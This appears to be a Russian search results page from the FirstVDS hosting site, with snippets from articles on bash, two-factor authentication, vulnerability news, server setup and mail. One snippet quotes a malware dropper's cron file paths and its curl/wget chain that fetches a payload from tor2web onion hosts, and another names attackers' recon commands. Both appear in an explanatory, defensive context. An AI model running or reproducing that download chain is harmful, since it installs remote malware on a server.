Результаты поиска

Перед чтением этой статьи рекомендуем ознакомиться с разделом  Создание скрипта статьи Знакомство с bash. В нём объяснены основные термины, которые встречаются в этой статье. Во второй статье серии о bash-скриптах даем рекомендации по их составлению и подробно рассматриваем основные команды Linux. Основные команды Полезные сочетания клавиш Общие рекомендации по созданию скриптов Основные команды Ниже приведены команды Unix, наиболее часто используемые в bash — в основном для работы с файлами и обработки …

… второй фактор, насколько быстро пользователь получает подтверждение и какой уровень защиты предусмотрен. Код из SMS или email. Наиболее распространённый сценарий — код отправляется на телефон или в почту. Как правило, это короткая комбинация из … к устройству.  Тип 2FA Уровень безопасности Срок действия Где формируется Для каких сервисов подходит Код из SMS или email Средний Секунды или минуты На стороне сервиса Некритичные сервисы, социальные сети  Пуш-уведомления Высокий До … главной страницы Яндекс ID — в разделе Защита аккаунта .  Сервисы Google  Настроить двухфакторную аутентификацию в почте Gmail и других сервисах Google можно через страницу аккаунта. Перейдите в раздел Безопасность и вход в аккаунт в левом меню. …

… время наверстать упущенное. Жаль, что с августом так нельзя. В общем, погнали.  Главные уязвимости  «Дыра» в Roundcube Webmail Специалисты компании Sonar обнаружили критические недостатки безопасности в Roundcube Webmail, которые позволяют злоумышленникам исполнять вредоносный JavaScript в браузере пользователя, угрожая конфиденциальности …

… уязвимость CVE-2025-47934. OpenPGP.js — это JavaScript-библиотека для работы с протоколом OpenPGP, используемая в Proton Mail и других проектах. Уязвимость позволяет злоумышленнику отправлять изменённые сообщения, которые система воспринимает как … которая позволяет злоумышленникам получать доступ к конфиденциальной информации из закрытых репозиториев через специальных AI-ассистентов. Протокол MCP используется для интеграции моделей искусственного интеллекта с API GitHub, предоставляя им … личные данные и список закрытых репозиториев автора. Для активации уязвимости владелец репозитория должен разрешить AI-ассистенту анализировать сообщения об ошибках. Подробнее …

… поэтому приходится удалять всю очередь) разрешает удаление файлов, где размещены фрагменты вредоносного скрипта: /etc/cron.daily/cronlog /etc/cron.d/root  /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root … --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O …

… или квитанции: в  Личном кабинете  через раздел  Поддержка  →  Запросы , кнопка  Создать по факсу +7 (3952) 52-57-88 на email  sales@firstvds.ru Реквизиты счёта в Альфа-Банке: АО "ИОТ", ИНН 7731399513, КПП 773101001 АО "АЛЬФА-БАНК" БИК 044525593, … полной предоплаты. Активация сервера происходит автоматически и занимает 1-20 минут. После активации на регистрационный email вышлем инструкцию, с помощью которой вы сможете установить свой пароль для доступа к серверу. Копию инструкции всегда …

… При автоматической обработке полученного звукового вложения (например, для создания транскрипции AI-помощником в Google Messages) возникает целочисленное переполнение. Это позволяет выйти за границы буфера и перезаписать … над системой с наивысшими привилегиями. Ключевую роль играет автоматическая обработка медиафайлов современными системами (AI-помощники, транскрипция), что превращает атаку в «zero-click». Первая уязвимость (в библиотеке Dolby Unified Decoder) также проявляется в других платформах (Samsung S24, MacBook Air M1, iPhone 17 Pro, Windows, ChromeOS и т.п.). Анализ возможности создания подобных эксплоитов для других платформ и …

… такое проверенный номер и зачем он нужен : Восстановление доступа к аккаунту Изменение данных владельца аккаунта (ФИО, e-mail) Перенос услуг между аккаунтами Удаление услуг Идентификация аккаунта при звонке в поддержку Как подтвердить проверенный … ту кнопку. Для чего нужен проверенный номер: Восстановление доступа к аккаунту Изменение данных владельца аккаунта (ФИО, e-mail) Перенос услуг между аккаунтами Удаление услуг Идентификация аккаунта при звонке в поддержку Восстановление доступа к …

Если вы являетесь клиентом FirstVDS и используете предоставленный вам сервер для обработки персональных данных клиентов, посетителей сайта или сотрудников — эта статья для вас. Сбор таких данных делает вас оператором. А значит, вы обязаны соблюдать требования закона № 152-ФЗ: подать уведомление в Роскомнадзор (далее — РКН), обеспечить защиту данных и соблюдать права пользователей, чьи данные вы обрабатываете. В этой статье разберем, какие действия помогут операторам соответствовать требованиям закона и …

… Приходите к нам на Хабр, чтобы обсудить актуальные и просто интересные темы.  Разберемся, как эффективнее использовать AI-инструменты в разработке на примере Vue SFC, и расскажем про демокит для тестирования RF-плат. Если хочется чего-то более … и статью о поразительной случайности, которая привела к открытию реликтового излучения. Vue SFC — идеальный формат для AI-разработки и вот почему Читать статью Тестируем плату RF Demo Kit for NanoVNA-F  Читать статью Инженер, который научил … новую волну атак на реестр npm — затронуто уже 25 000 репозиториев. По принципу действия он напоминает вредонос Shai Hulud: подробный обзор атаки —  в нашей статье на Хабре   [block:DigestPoll] Писала дайджест, любуясь на снегирей за …

… что искусственный интеллект думает о вашем сне. Предлагаем побаловаться в свободное время. Осторожно — очень залипательно!  AI Roast Generator Нейросеть для персональной прожарки  AI Roast Generator — сервис для персональной прожарки себя и друзей. Достаточно ввести имя и кратко описать ситуацию, над … или $99,99 в год) открывает доступ к премиум-эффектам, убирает водяной знак и отключает рекламу. «Оживи фото» в Алиса AI  Ожившие фотографии и рисунки за несколько минут  «Оживи фото» — функция в Алиса AI, которая анимирует статичные …

… писем, которые пользователь получил и/или отправил. Почтовый ящик идентифицируется адресом электронной почты. Например, mail.test@firstvds.ru. Чтобы создать почтовый ящик в панели управления Hosting controller, перейдите в раздел Управление — … рассылки . В открывшемся окне нажмите кнопку Создать список рассылки , затем укажите отображаемое имя списка рассылки и e-mail на английском языке (см. более подробные требования к имени пользователя ). Чтобы завершить создание, нажмите кнопку …

… с удалением проектов, чтобы избежать инцидентов, подобных left-pad, и предотвратить атаки через цепочку поставок (supply chain). Однако предложения о запрете удаления пакетов не были реализованы, что оставило возможность для повторной регистрации … запланирован на 3 июня 2025 года) и FreeBSD 15, первый выпуск которой ожидается в декабре 2025 года. Основные изменения: Jail-окружения: Добавлена возможность запуска утилит sysctl и ip6addrctl в контексте изолированных Jail, что упрощает управление параметрами ядра и сетевых настроек для контейнеров. ZFS: В инсталляторе bsdinstall появилась …

… заняться поиском узких мест в архитектуре сайта. Рассмотрим другие важные показатели скорости загрузки: First Contentful Paint (FCP, первая отрисовка контента) : время, необходимое браузеру для отображения первой части контента DOM (Document … загрузки) . Показывает, насколько быстро контент отображается визуально во время загрузки страницы. Largest Contentful Paint (LCP, время отрисовки самого большого элемента) . Таким элементом может быть текст, изображение или видео. Учитывается … Ещё раз напомним, что при разработке сайта следует стараться минимизировать это значение, насколько возможно. * Failed requests : запросы с ошибками. При увеличении нагрузки на сервер возможна ситуация, когда он перестанет справляться с …

… с ребятами из команды CLO, попробовать свои силы в мини-квесте и принять участие в розыгрыше — главный приз Apple MacBook Air. Панель ISPmanager: на смену 5-ой версии пришла 6-ая  Новость два в одном. Как сообщили разработчики панели управления …

… что даёт полный контроль над сервером. На этапе пост-эксплуатации злоумышленники выполняют команды whoami, net user /domain и ipconfig /all для сбора информации о домене и сети, передавая данные через вебхуки. Особую опасность уязвимости …

Мы собрали отзывы и предложения по улучшению сервиса за год. Реализовать их разом не получится — мы же не супермены. Поэтому объявляем открытое голосование. Выберите проблему, с которой сталкиваетесь сами — починим вне очереди меньше чем за 2 месяца. Если в списке чего-то не хватает — напишите свой вариант. Добавим его в следующее голосование. Проголосовать через Гугл Форму 02.05.17 подведём итоги и в первую очередь решим проблему, которая наберёт больше голосов. Читайте, голосуйте и меняйте FirstVDS — …

… разработчику. Давайте роль. Начинайте промпт с фразы:  «Действуй как опытный фронтенд-разработчик, специализирующийся на Tailwind CSS и минималистичном дизайне» . Это заставляет модель использовать более чистые и современные методы написания … «Не добавляй никаких лишних элементов, скриптов или стилей, о которых я не просил. Используй только стандартные классы Tailwind». Создание сайта с помощью ИИ Создание Boilerplate — каркаса сайта Самая частая ошибка — сделать всё за один промт. … и дробить большие задачи на подзадачи и краткие команды-инструкции.  Начинаем с базы: просим ИИ создать фундамент на Tailwind CSS. Это индустриальный стандарт современной вёрстки и быстрого прототипирования, который подключает стили через …

… проверим наличие SWAP с помощью команды free : # free -h Вывод будет примерно таким: total used free shared buff/cache available Mem: 1.9Gi 69Mi 1.7Gi 2.0Mi 128Mi 1.7Gi Swap: 512Mi 0B 512Mi Здесь мы видим, что SWAP есть и его размер 512МБ. В … раздел подкачки будет занят, имейте это ввиду при расчётах оставшегося свободного места на диске. Filesystem Size Used Avail Use% Mounted on udev 966M 0 966M 0% /dev tmpfs 199M 596K 199M 1% /run /dev/vda2 40G 1.9G 36G 5% / tmpfs 994M 0 994M 0% … проверим, что SWAP включен и его размер соответствует тому, что мы указывали: # free -m total used free shared buff/cache available Mem: 1977 113 65 2 1799 1691 Swap: 2047 0 2047 # swapon --show NAME TYPE SIZE USED PRIO /swapfile file 2G 0B -2 …

… команды для создания файлов с нужными параметрами.  Ограничим доступ пользователей (включим механизм изоляции chroot-jail ) — каждый будет видеть только свою папку и не сможет зайти в системные каталоги сервера: # echo yes > … отредактируйте  конфигурационный файл через удобный вам текстовый редактор: # vim /etc/nftables.conf Добавим в блок chain input правила, разрешающие подключения на FTP-порты (20–21), и порты для пассивного режима (30000–50000). tcp dport …

… ящики: отправлять сообщение об ошибке, удалять полученные письма или перенаправлять входящие письма на другой e-mail / почтовый домен. Настройку DKIM/DMARC и SSL-сертификатов рассмотрим в следующих параграфах. После создания почтового … будет отправлено сообщение об ошибке, письмо перенаправится на другой ящик или удалится. В строке Слать копии писем на e-mail  можно указать адрес электронной почты, на который будут дублироваться письма с этого ящика. Чтобы ограничить объём … при редактировании почтового домена) поддомен, который используется для почтового сервера, по умолчания в ispmanager — mail.ваш_домен.ru : А также можно установить SSL, не добавляя его в панель как отдельный сертификат. Перейдите в раздел Почта …

… При этом пользователь взаимодействует с настоящим сервисом и не замечает подмены.    Такой сценарий относится к классу атак AiTM (Adversary-in-the-Middle) — «злоумышленник посередине». В них атакующий встраивается в процесс авторизации, …

… герметизируют. Самый бюджетный способ — повесить шторки на торцах. Однако есть более практичные подходы: CAC (Cold Aisle Containment) — над холодным коридором делают крышку из поликарбоната, торцы закрывают дверьми, а внутри создается избыточное давление. HAC (Hot Aisle Containment) — наоборот, герметизируют горячий коридор. Воздух из него засасывается вытяжным каналом. Система …

… Добавляем новый файл c именем example.com.conf (где example.com — ваш домен): Ubuntu и Debian: touch /etc/apache2/sites-available/ example.com .conf CentOS: touch /etc/httpd/sites-enabled/ example.com .conf Открываем созданный файл в любом консольном текстовом редакторе: Ubuntu и Debian: nano /etc/apache2/sites-available/ example.com .conf В качестве примера приведён редактор nano . Для сохранения файла нажмите сочетание Ctrl + O , …

… запроса (keep-alive) для экономии сетевых ресурсов. Accept. Указывает, какие типы содержимого (Multipurpose Internet Mail Extensions, MIME) может понять клиент. Accept-Encoding. Обычно определяет алгоритм сжатия контента. Accept-Language. … обработки запроса сервер выполнил обращение к внутренней службе, но получил недействительный ответ. 503 Service Unavailable (Сервис недоступен). Зачастую причиной этой ошибки бывает отключение или перегрузка сервера. 504 Gateway Timeout … https://metrika.yandex.ru/ https://www.youtube.com/; set-cookie: __ddg1_=some_uniq_value; Domain=.firstvds.ru; HttpOnly; Path=/; Expires=Fri, 06-Dec-2024 08:45:30 GMT content-type: text/html; charset=UTF-8 vary: …